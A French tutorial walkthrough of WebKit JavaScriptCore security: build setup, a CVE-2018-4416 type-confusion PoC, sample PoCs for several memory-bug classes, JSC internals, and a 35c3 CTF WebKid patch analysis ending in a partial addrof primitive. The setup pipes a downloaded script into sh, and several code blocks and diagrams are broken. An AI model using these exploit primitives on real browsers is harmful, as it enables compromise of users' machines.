Procédure pas à pas pédagogique de CVE-2018-4416, une vulnérabilité de confusion de types dans WebKit JavaScriptCore, avec PoC, configuration de débogage, et analyse des techniques courantes d'exploitation binaire de navigateurs.
Je choisis un relativement simple : /WebKit/. (ChakraCore pourrait être plus simple, lol. Mais il y a une rumeur selon laquelle Microsoft annulerait le projet. J'ai donc décidé de ne pas le choisir.)
Je vais écrire une série d'articles pour noter mes notes dans l'étude de la sécurité de /WebKit/. C'est aussi ma première fois que j'apprends la sécurité des navigateurs, mes articles auront probablement beaucoup d' erreurs. Si vous les remarquez, n'hésitez pas à me contacter pour des corrections.
Avant de le lire, vous devez savoir : - Grammaire C++ - Grammaire assembleur - Installation de machine virtuelle - Être à l'aise avec Ubuntu et sa ligne de commande - Concepts de base de la compilation
** Machine virtuelle :PROPERTIES: :CUSTOM_ID: virtual-machine :END: Tout d'abord, nous devons installer une VM comme cible de test. Ici, je choisis /Ubuntu 18.04 LTS/ et /Ubuntu 16.04 LTS/ comme système hôte. Vous pouvez télécharger [[https://www.ubuntu.com/][ici]]. Si je ne précise pas la version, veuillez utiliser 18.04 LTS comme version par défaut.
Mac pourrait être un choix plus approprié car il a XCode et Safari. Compte tenu de la consommation élevée de ressources de MacOS et des mises à jour instables, je préfère utiliser Ubuntu.
Nous avons besoin d'un logiciel de VM. Je préfère utiliser [[https://www.vmware.com/][VMWare]]. Parallel Desktop et VirtualBox (gratuit) sont également acceptables, cela dépend de vos habitudes personnelles.
Je ne vais pas vous expliquer pas à pas comment installer Ubuntu sur VMWare. Cependant, je dois encore vous rappeler d'allouer autant de mémoire et de CPU que possible car la compilation consomme énormément de ressources. Un disque de 80 Go devrait suffire pour stocker le code source et les fichiers compilés.
** Code source :PROPERTIES: :CUSTOM_ID: source-code :END: Vous pouvez télécharger le code source de WebKit de trois manières : [[]], /svn/ et [[]].
a b #+end_exampleLe gestionnaire de versions par défaut de WebKit est svn. Mais je choisis git (trop peu familier avec svn) :
#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example
** Débogueur et éditeur :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: L'IDE consomme beaucoup de ressources, donc j'utilise vim pour éditer le code source.
La plupart des travaux de débogage que j'ai vus utilisent lldb que je ne connais pas bien. Par conséquent, j'installe aussi gdb avec le plugin gef.
#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src
** Test :PROPERTIES: :CUSTOM_ID: test :END: *** Compilation de JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: Compiler un WebKit complet prend beaucoup de temps. Nous ne compilons actuellement que JSC (JavaScript Core), d'où proviennent la plupart des vulnérabilités.
Maintenant, vous devez être dans le répertoire racine du code source de WebKit. Exécutez ceci pour préparer les dépendances :
#+begin_src shell Tools/gtk/install-dependencies #+end_src
Même si nous ne compilons pas encore le WebKit complet maintenant, vous pouvez d'abord installer les dépendances restantes pour les tests futurs. Cette étape n'est pas requise pour compiler JSC si vous ne voulez pas passer trop de temps :
#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src
Après cela, nous pouvons compiler JSC :
#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src
Quelques minutes plus tard, nous pouvons exécuter JSC avec :
#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src
Faisons quelques tests :
#+begin_example
1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example
*** Déclenchement de bugs :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:
#+begin_quote Ubuntu 18.04 LTS ici #+end_quote
Nous utilisons [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] pour tester, voici le PoC. Stockez-le dans =poc.js= dans le même dossier que =jsc= :
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Démarrage de l'optimisation. for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // L'ID de structure de "tmp" est stocké dans un JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // L'ID de structure de "obj" est égal à celui de tmp.
return obj[k]; // Confusion de type.
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory); print(fake_object); #+end_example
D'abord, basculer vers la version vulnérable :
#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example
#+begin_quote Cela peut prendre encore plus de temps que la compilation #+end_quote
Exécutez : =./jsc poc.js=, et nous obtenons :
#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example
Si nous exécutons ceci sur la dernière version (=git checkout master= pour revenir en arrière, et supprimer le contenu de la construction =rm -rf WebKitBuild/Relase/= et =rm -rf WebKitBuild/Debug/=) :
#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined
================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(...)
... // beaucoup de messages d'erreur
SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example
Maintenant, nous avons réussi à déclencher un bug !
Je ne vais pas expliquer le détail (je ne sais pas non plus). J'espère que nous pourrons trouver la cause racine après quelques semaines.
Ici, je ne discute que des bugs liés au niveau binaire. Certains bugs de plus haut niveau, comme /URL Spoof/ ou /UXSS/, ne sont pas notre sujet. Les exemples ci-dessous ne proviennent pas uniquement de WebKit. Certains sont des bugs de Chrome. Nous allons les introduire brièvement. Et analyser le PoC spécifiquement plus tard.
Avant de lire cette partie, il est fortement recommandé de lire quelques documents sur la théorie des compilateurs. Des connaissances de base en Pwn devraient également être acquises. Mon explication n'est pas claire. Encore une fois, corrigez mes erreurs si vous en trouvez.
Cet article sera mis à jour plusieurs fois à mesure que ma compréhension de JSC s'approfondit. N'oubliez pas de le vérifier plus tard.
** 1. Use After Free :PROPERTIES: :CUSTOM_ID: use-after-free :END: Aussi connu sous le nom =UAF=. C'est courant dans les challenges CTF, un scénario classique :
#+begin_src C char* a = malloc(0x100); free(a); printf("%s", a); #+end_src
À cause de certaines erreurs logiques. Le code réutilisera la mémoire libérée. Généralement, nous pouvons fuiter ou écrire une fois que nous contrôlons la mémoire libérée.
CVE-2017-13791 est un exemple de UAF dans WebKit. Voici le PoC :
#+begin_example
** 2. Débordement de mémoire (Out of Bound) :PROPERTIES: :CUSTOM_ID: out-of-bound :END: Aussi connu sous le nom =OOB=. C'est comme le débordement dans le navigateur. Encore une fois, nous pouvons lire/écrire dans la mémoire adjacente. =OOB= se produit fréquemment lors d'une optimisation incorrecte d'un tableau ou d'une vérification insuffisante. Par exemple ([[https://bugs.chromium.org/p/project-zero/issues/detail?id=1033][CVE-2017-2447]]) :
#+begin_example var ba; function s(){ ba = this; }
function dummy(){ alert("just a function"); }
Object.defineProperty(Array.prototype, "0", {set : s }); var f = dummy.bind({}, 1, 2, 3, 4); ba.length = 100000; f(1, 2, 3); #+end_example
#+begin_quote Lorsque Function.bind est appelée, les arguments de l'appel sont transférés dans un Array avant d'être passés à JSBoundFunction::JSBoundFunction. Comme il est possible que le prototype d'Array ait eu un setter ajouté, il est possible pour un script utilisateur d'obtenir une référence à cet Array, et de le modifier de sorte que la longueur soit plus longue que le tableau natif sous-jacent. Ensuite, lorsque boundFunctionCall tente de copier ce tableau vers les paramètres d'appel, il suppose que la longueur n'est pas plus longue que le tableau alloué (ce qui serait vrai s'il n'avait pas été modifié) et lit hors limites. #+end_quote
Dans la plupart des cas, nous ne pouvons pas directement écraser le registre =$RIP=. Les auteurs d'exploits créent toujours un faux tableau pour transformer une lecture/écriture partielle en lecture/écriture arbitraire.
** 3. Confusion de type :PROPERTIES: :CUSTOM_ID: type-confusion :END: C'est une vulnérabilité spéciale qui se produit dans les applications avec le compilateur. Et ce bug est légèrement difficile à expliquer.
Imaginez que nous avons l'objet suivant (32 bits) :
#+begin_src C struct example{ int length; char *content; } #+end_src
Alors, si nous avons un objet =length= == =5= avec un pointeur =content= en mémoire, cela ressemble probablement à ceci :
#+begin_example 0x00: 0x00000005 -> length 0x04: 0xdeadbeef -> pointer #+end_example
Une fois que nous avons un autre objet :
#+begin_src C struct exploit{ int length; void (*exp)(); } #+end_src
Nous pouvons forcer le compilateur à interpréter l'objet =example= comme un objet =exploit=. Nous pouvons transformer la fonction =exp= en adresse arbitraire et exécuter du code (RCE).
Un exemple de confusion de type :
#+begin_example var q; function g(){ q = g.caller; return 7; }
var a = [1, 2, 3]; a.length = 4; Object.defineProperty(Array.prototype, "3", {get : g}); [4, 5, 6].concat(a); q(0x77777777, 0x77777777, 0); #+end_example
#+begin_quote Si un script intégré dans webkit est en mode strict, mais appelle ensuite une fonction qui n'est pas stricte, cette fonction est autorisée à appeler Function.caller et peut obtenir une référence à la fonction stricte. #+end_quote
** 4. Débordement d'entier :PROPERTIES: :CUSTOM_ID: integer-overflow :END: Le débordement d'entier est également courant dans les CTF. Bien que le débordement d'entier lui-même ne puisse pas conduire à RCE, il conduit probablement à =OOB=.
Ce bug n'est pas difficile à comprendre. Imaginez que vous exécutez le code ci-dessous sur une machine 32 bits :
#+begin_example mov eax, 0xffffffff add eax, 2 #+end_example
Parce que le maximum de =eax= est =0xffffffff=. Il ne peut pas contenir =0xffffffff+2=0x100000001=. Ainsi, l'octet le plus élevé sera débordé (éliminé). Le résultat final de =eax= est =0x00000001=.
Voici un exemple de WebKit ([[https://phoenhex.re/2017-06-02/arrayspread][CVE-2017-2536]]) :
#+begin_example var a = new Array(0x7fffffff); var x = [13, 37, ...a, ...a]; #+end_example
#+begin_quote La longueur n'est pas correctement vérifiée, ce qui permet de faire déborder la longueur en développant un tableau dans l'ancien. Ensuite, nous pouvons utiliser le tableau étendu pour faire un =OOB=. #+end_quote
** 5. Autres :PROPERTIES: :CUSTOM_ID: else :END: Certains bugs sont difficiles à catégoriser : - Condition de concurrence (Race Condition) - Mémoire non allouée (Unallocated Memory) - ...
Je les expliquerai en détail plus tard.
Et le JSC a : - lexer - parser - interpréteur de démarrage (LLInt) - trois compilateurs JIT JavaScript, leur temps de compilation devient progressivement plus long mais s'exécute de plus en plus vite : + baseline JIT, le JIT initial + un JIT d'optimisation à faible latence (DFG) + un JIT d'optimisation à haut débit (FTL), phase finale du JIT - deux moteurs d'exécution WebAssembly : + BBQ + OMG
#+begin_quote Encore une fois, une clause de non-responsabilité, cet article pourrait être inexact ou erroné dans l'explication des mécanismes de WebKit #+end_quote
Si vous avez suivi des cours de base sur la théorie de la compilation, lexer et parser sont comme d'habitude ce qui est enseigné en classe. Mais la partie génération de code est frustrante. Il a un interpréteur et trois compilateurs, WTF ? JSC a également de nombreuses autres fonctionnalités non conventionnelles, voyons-les :
** Représentation des valeurs JSC :PROPERTIES: :CUSTOM_ID: jsc-value-representation :END: Pour faciliter l'identification, les valeurs de JSC sont représentées différemment : - pointeur : =0000:PPPP:PPPP:PPPP= (commence par 0000, puis son adresse) - double (commence par 0001 ou FFFE) : + =0001:::= + =FFFE:::= - entier : =FFFF:0000:IIII:IIII= (utilise =IIII:IIII= pour stocker la valeur) - faux : =0x06= - vrai : =0x07= - undefined : =0x0a= - null : =0x02=
=0x0=, cependant, n'est pas une valeur valide et peut provoquer un crash.
** Modèle d'objet JSC :PROPERTIES: :CUSTOM_ID: jsc-object-model :END: Contrairement à Java, qui a des membres de classe fixes, JavaScript permet aux gens d'ajouter des propriétés à tout moment.
Donc, malgré les propriétés alignées statiquement traditionnellement, JSC a un pointeur butterfly pour ajouter des propriétés dynamiques. C'est comme un tableau supplémentaire. Expliquons-le dans plusieurs situations.
De plus, JSArray sera toujours alloué avec un pointeur butterfly puisqu'ils changent dynamiquement.
Nous pouvons comprendre le concept facilement avec le graphique suivant :
*** 0x0 JSObject rapide :PROPERTIES: :CUSTOM_ID: x0-fast-jsobject :END: Les propriétés sont initialisées :
#+begin_example var o = {f: 5, g: 6}; #+end_example
Le pointeur butterfly sera nul ici car nous n'avons que des propriétés statiques :
#+end_example
Élargissons nos connaissances sur JSObject. Comme nous le voyons, chaque =structure ID= a une table de structure correspondante. À l'intérieur de la table, elle contient les noms de propriétés et leurs décalages. Dans notre objet précédent =o=, la table ressemble à :
| nom de propriété | emplacement | |-----------------+-------------| | "f" | inline(0) | | "g" | inline(1) |
Lorsque nous voulons récupérer une valeur (par exemple =var v = o.f=), les comportements suivants se produisent :
#+begin_src cpp if (o->structureID == 42) v = o->inlineStorage[0] else v = slowGet(o, “f”) #+end_src
Vous vous demandez peut-être pourquoi le compilateur va directement récupérer la valeur via le décalage lorsqu'il sait que l'=ID= est =42=. C'est un mécanisme appelé mise en cache en ligne (inline caching), qui nous aide à obtenir la valeur plus rapidement. Nous n'en parlerons pas beaucoup, [[http://www.filpizlo.com/slides/pizlo-icooolps2018-inline-caches-slides.pdf][cliquez ici]] pour plus de détails.
*** 0x1 JSObject avec des champs ajoutés dynamiquement :PROPERTIES: :CUSTOM_ID: x1-jsobject-with-dynamically-added-fields :END: #+begin_example var o = {f: 5, g: 6}; o.h = 7; #+end_example
Maintenant, le butterfly a un emplacement, qui est 7.
#+end_example
*** 0x2 JSArray avec de la place pour 3 éléments de tableau :PROPERTIES: :CUSTOM_ID: x2-jsarray-with-room-for-3-array-elements :END: #+begin_example var a = []; #+end_example
Le butterfly initialise un tableau avec une taille estimée. Le premier élément =0= signifie un nombre d'emplacements utilisés. Et =3= signifie les emplacements maximums :
| butterfly | -| ------------- -------------- | | 0 | | ------------- (8 bits pour ces deux éléments) | | 3 | -> ------------- | | ------------- | | ------------- | | ------------- #+end_example
*** 0x3 Objet avec propriétés rapides et éléments de tableau :PROPERTIES: :CUSTOM_ID: x3-object-with-fast-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; #+end_example
Nous avons rempli un élément du tableau, donc =0= (emplacements utilisés) passe à =1= maintenant :
| butterfly | -| ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000005 | | | 3 | -------------- -> ------------- | 0xffff000 | | 0xffff000 | | 000000006 | | 000000007 |
| <hole> |
-------------
| <hole> |
-------------*** 0x4 Objet avec propriétés rapides et dynamiques et éléments de tableau
:PROPERTIES:
:CUSTOM_ID: x4-object-with-fast-and-dynamic-properties-and-array-elements
:END:
#+begin_example var o = {f: 5, g: 6}; o[0] = 7; o.h = 8; #+end_example
Le nouveau membre sera ajouté avant l'adresse du pointeur. Les tableaux sont placés à droite et les attributs à gauche du pointeur butterfly, comme l'aile d'un papillon :
| butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000008 | | 000000005 | | ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000006 | | | 2 | -------------- -> ------------- (pointer address) | 0xffff000 | | 000000007 | ------------- | | ------------- #+end_example
*** 0x5 Objet exotique avec propriétés dynamiques et éléments de tableau :PROPERTIES: :CUSTOM_ID: x5-exotic-object-with-dynamic-properties-and-array-elements :END: #+begin_example var o = new Date(); o[0] = 7; o.h = 8; #+end_example
Nous étendons le butterfly avec une classe intégrée, les propriétés statiques ne changeront pas :
| butterfly | -| ------------- -------------- | | 0xffff000 | | < C++ | | | 000000008 | | State > | -> ------------- -------------- | 1 | | < C++ | ------------- | State > | | 2 |
| 0xffff000 |
| 000000007 |
-------------
| <hole> |
-------------
#+end_example
** Inférence de type :PROPERTIES: :CUSTOM_ID: type-inference :END: JavaScript est un langage à typage faible et dynamique. Le compilateur effectue beaucoup de travail dans l'inférence de type, ce qui la rend extrêmement compliquée.
*** Points de surveillance :PROPERTIES: :CUSTOM_ID: watchpoints :END: Les points de surveillance peuvent se produire dans les cas suivants : - haveABadTime - Structure transition - InferredValue - InferredType - et bien d'autres...
Lorsque les situations ci-dessus se produisent, il vérifie si le point de surveillance a été optimisé. Dans WebKit, cela est représenté ainsi :
#+begin_src cpp class Watchpoint { public: virtual void fire() = 0; }; #+end_src
Par exemple, le compilateur veut optimiser =42.toString()= en ="42"= (renvoyer directement plutôt que d'utiliser du code pour convertir), il vérifie si cela a déjà été invalidé. Ensuite, si valide, enregistrer le point de surveillance et faire l'optimisation.
** Compilateurs :PROPERTIES: :CUSTOM_ID: compilers :END: *** 0x0. LLInt :PROPERTIES: :CUSTOM_ID: x0.-llint :END: Au tout début, l'interpréteur génère un modèle de bytecode. Prenons l'exemple de la JVM, pour exécuter un fichier =.class=, qui est un autre type de modèle de bytecode. Le bytecode facilite l'exécution :
#+begin_example parser -> bytecompiler -> generatorfication -> bytecode linker -> LLInt #+end_example
*** 0x1. Baseline JIT et modèle de bytecode :PROPERTIES: :CUSTOM_ID: x1.-baseline-jit-and-byte-code-template :END: JIT le plus basique, il génère ici un =modèle de bytecode=. Par exemple, voici /add/ en javascript :
#+begin_example function foo(a, b) { return a + b; } #+end_example
Ceci est le bytecode IL, qui est plus direct sans analyse lexicale sophistiquée et plus pratique à convertir en asm :
#+begin_example [ 0] enter [ 1] get_scope loc3 [ 3] mov loc4, loc3 [ 6] check_traps [ 7] add loc6, arg1, arg2 [12] ret loc6 #+end_example
Les segments de code =7= et =12= peuvent donner le DFG IL suivant (dont nous parlons ensuite). On peut remarquer qu'il contient beaucoup d'informations liées au type lors de l'opération. À la ligne 4, le code vérifie si le type de retour correspond :
#+begin_src cpp GetLocal(Untyped:@1, arg1(B/FlushedInt32), R:Stack(6), bc#7); GetLocal(Untyped:@2, arg2(C/FlushedInt32), R:Stack(7), bc#7); ArithAdd(Int32:@23, Int32:@24, CheckOverflow, Exits, bc#7); MovHint(Untyped:@25, loc6, W:SideState, ClobbersExit, bc#7, ExitInvalid); Return(Untyped:@25, W:SideState, Exits, bc#12); #+end_src
L'AST ressemble à ceci :
#+begin_example +----------+ | return | +----+-----+ | | +----+-----+ | add | +----------+ | | | | v v +--+---+ +-+----+ | arg1 | | arg2 | +------+ +------+ #+end_example
*** 0x2. DFG :PROPERTIES: :CUSTOM_ID: x2.-dfg :END: Si JSC détecte qu'une fonction est exécutée plusieurs fois, il passe à la phase suivante. La première phase a déjà généré le bytecode. Ainsi, l'analyseur DFG analyse directement le bytecode, qui est moins abstrait et plus facile à analyser. Ensuite, DFG optimise et génère du code :
#+begin_example DFG bytecode parser -> DFG optimizer -> DFG Backend #+end_example
Dans cette étape, le code s'exécute plusieurs fois et leur type est relativement constant. La vérification de type utilisera OSR.
Imaginez que nous allons optimiser à partir de ceci :
#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // lots of stuff
x = is_ok(ptr) ? *ptr : slow_path(ptr); y = ... // lots of stuff z = is_ok(ptr) ? *ptr : slow_path(ptr); return w + x + y + z; } #+end_src
vers ceci :
#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // lots of stuff
if (!is_ok(ptr)) return foo_base1(ptr, w); x = *ptr; y = ... // lots of stuff z = *ptr; return w + x + y + z; } #+end_src
Le code s'exécutera plus rapidement car =ptr= ne fera la vérification de type qu'une seule fois. Si le type de /ptr/ est toujours différent, le code optimisé s'exécute plus lentement en raison des abandons fréquents. Ainsi, ce n'est que lorsque le code s'exécute des milliers de fois que le navigateur utilise =OSR= pour l'optimiser.
*** 0x3. FLT :PROPERTIES: :CUSTOM_ID: x3.-flt :END: Une fonction, si elle s'exécute une centaine ou des milliers de fois, le JIT utilisera FLT. Comme DFG, FLT réutilisera le modèle de bytecode, mais avec une optimisation plus poussée :
#+begin_example DFG bytecode parser -> DFG optimizer -> DFG-to-B3 lowering -> B3 Optimizer -> Instruction Selection -> Air Optimizer -> Air Backend #+end_example
*** 0x4. Plus d'informations sur l'optimisation :PROPERTIES: :CUSTOM_ID: x4.-more-about-optimization :END: Jetons un coup d'œil au changement d'IR dans différentes phases d'optimisation :
| IR | Style | Exemple | |----------+-------------------------+----------------------------------------------| | Bytecode | Load/Store de haut niveau | =bitor dst, left, right= | | DFG | SSA exotique de niveau moyen | =dst: BitOr(Int32:@left, Int32:@right, ...)= | | B3 | SSA normal de bas niveau | =Int32 @dst = BitOr(@left, @right)= | | Air | CISC architectural | =Or32 %src, %dest= |
La vérification de type est progressivement éliminée. Vous comprenez peut-être pourquoi il y a tant de confusions de type dans les CVE de navigateur aujourd'hui. De plus, ils ressemblent de plus en plus au code machine.
Une fois que la vérification de type échoue, le code revient à l'IR précédent (par exemple, une vérification de type échoue dans l'étape B3, le compilateur revient à DFG et s'exécute dans cette étape).
** Garbage Collector (TODO) :PROPERTIES: :CUSTOM_ID: garbage-collector-todo :END: Le tas de JSC est basé sur le GC. Les objets dans le tas auront un compteur de leurs références. Le GC analysera le tas pour collecter la mémoire inutile.
...toujours besoin de plus de matériaux...
Ce défi est WebKid du 35c3 CTF. Vous pouvez compiler le binaire WebKit (avec instructions), la VM préparée, et obtenir le code d'exploit [[https://github.com/saelo/35c3ctf/tree/master/WebKid][ici]]. De plus, un macOS Mojave (10.14.2) doit être préparé dans une VM ou une machine réelle (je pense que cela n'affectera pas les crashs dans différentes versions de macOS, mais la primitive d'attaque pourrait être différente).
Exécutez via cette commande :
#+begin_src shell DYLD_LIBRARY_PATH=/Path/to/WebKid DYLD_FRAMEWORK_PATH=/Path/to/WebKid /Path/to/WebKid/MiniBrowser.app/Contents/MacOS/MiniBrowser #+end_src
#+begin_quote N'oubliez pas d'utiliser le CHEMIN COMPLET. Sinon, le navigateur plantera #+end_quote
Si vous exécutez sur une machine locale, n'oubliez pas de créer =/flag1= pour les tests.
** Analyse :PROPERTIES: :CUSTOM_ID: analyzing :END: Regardons le patch :
#+begin_example diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp index 20fcd4032ce..a75e4ef47ba 100644 --- a/Source/JavaScriptCore/runtime/JSObject.cpp +++ b/Source/JavaScriptCore/runtime/JSObject.cpp @@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot); }
+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) +{
return false;
return false;
ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
thisObject->setButterfly(vm, nullptr);
// ECMA 8.6.2.5 bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName) { @@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper
Structure* structure = thisObject->structure(vm);
PropertyOffset offset;
if (structure->isUncacheableDictionary())
if (structure->isUncacheableDictionary()) {
offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
else
thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
} else {
if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
}
}
if (offset != invalidOffset)
if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
thisObject->locationForOffset(offset)->clear();
diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in index 536481ecd6a..62189fea227 100644 --- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in +++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in @@ -25,6 +25,12 @@ (deny default (with partial-symbolication)) (allow system-audit file-read-metadata)
+(allow file-read* (literal "/flag1")) + +(allow mach-lookup (global-name "net.saelo.shelld")) +(allow mach-lookup (global-name "net.saelo.capsd")) +(allow mach-lookup (global-name "net.saelo.capsd.xpc")) + #if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300 (import "system.sb") #else #+end_example
Le plus gros problème ici concerne la fonction =tryDeletePropertyQuickly=, qui se comporte comme ceci (commentaire fourni par /Linus Henze/ :
#+begin_src cpp static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) { // This assert will always be true as long as we're not passing an "invalid" offset ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
// Try to get the previous structure of this object
Structure* previous = structure->previousID();
if (!previous)
return false; // If it has none, stop here
unsigned unused;
// Check if the property we're deleting is the last one we added
// This must be the case if the old structure doesn't have this property
bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
if (!isLastAddedProperty)
return false; // Not the last property? Stop here and remove it using the normal way.
// Assert that adding the property to the last structure would result in getting the current structure
RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
// Uninteresting. Basically, this just deletes this objects Butterfly if it's not an array and we're asked to delete the last out-of-line property. The Butterfly then becomes useless because no property is stored in it, so we can delete it.
if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
thisObject->setButterfly(vm, nullptr);
}
// Directly set the structure of this object
thisObject->setStructure(vm, previous);
return true;
} #+end_src
En bref, un objet reviendra à l'ID de structure précédent en supprimant un objet ajouté précédemment. Par exemple :
#+begin_example var o = [1.1, 2.2, 3.3, 4.4]; // o est maintenant un objet avec l'ID de structure 122. o.property = 42; // o est maintenant un objet avec l'ID de structure 123. La structure est une feuille (n'a jamais transitionné)
function helper() { return o[0]; } jitCompile(helper); // Exécute la fonction d'aide plusieurs fois // Dans ce cas, le compilateur JIT choisira d'utiliser un point de surveillance au lieu de vérifications à l'exécution // lors de la compilation de la fonction d'aide. Ainsi, il surveille la structure 123 pour les transitions.
delete o.property; // o "revient" maintenant à l'ID de structure 122. Le point de surveillance n'a pas été déclenché. #+end_example
Rappelons d'abord quelques connaissances. Dans JSC, nous avons des vérifications de type à l'exécution et des points de surveillance pour garantir une conversion de type correcte. Après qu'une fonction a été exécutée plusieurs fois, JSC n'utilisera pas de vérification de structure. Au lieu de cela, il la remplacera par un point de surveillance. Lorsqu'un objet est modifié, le navigateur doit déclencher le point de surveillance pour notifier ce changement et revenir à l'interpréteur JS et générer un nouveau code JIT.
Ici, restaurer l'ID précédent ne déclenchera pas le =watchpoint= même si la structure a changé, ce qui signifie que la structure du pointeur butterfly sera également modifiée. Cependant, le code JIT généré par =helper= ne reviendra pas en arrière car le watchpoint n'est pas déclenché, ce qui conduit à une confusion de type. Et le code JIT peut toujours accéder à l'ancienne structure butterfly. Nous pouvons fuiter/créer des faux objets.
Voici la primitive d'attaque minimale :
#+begin_example haxxArray = [13.37, 73.31]; haxxArray.newProperty = 1337;
function returnElem() { return haxxArray[0]; }
function setElem(obj) { haxxArray[0] = obj; }
for (var i = 0; i < 100000; i++) { returnElem(); setElem(13.37); }
delete haxxArray.newProperty; haxxArray[0] = {};
function addrof(obj) { haxxArray[0] = obj; return returnElem(); }
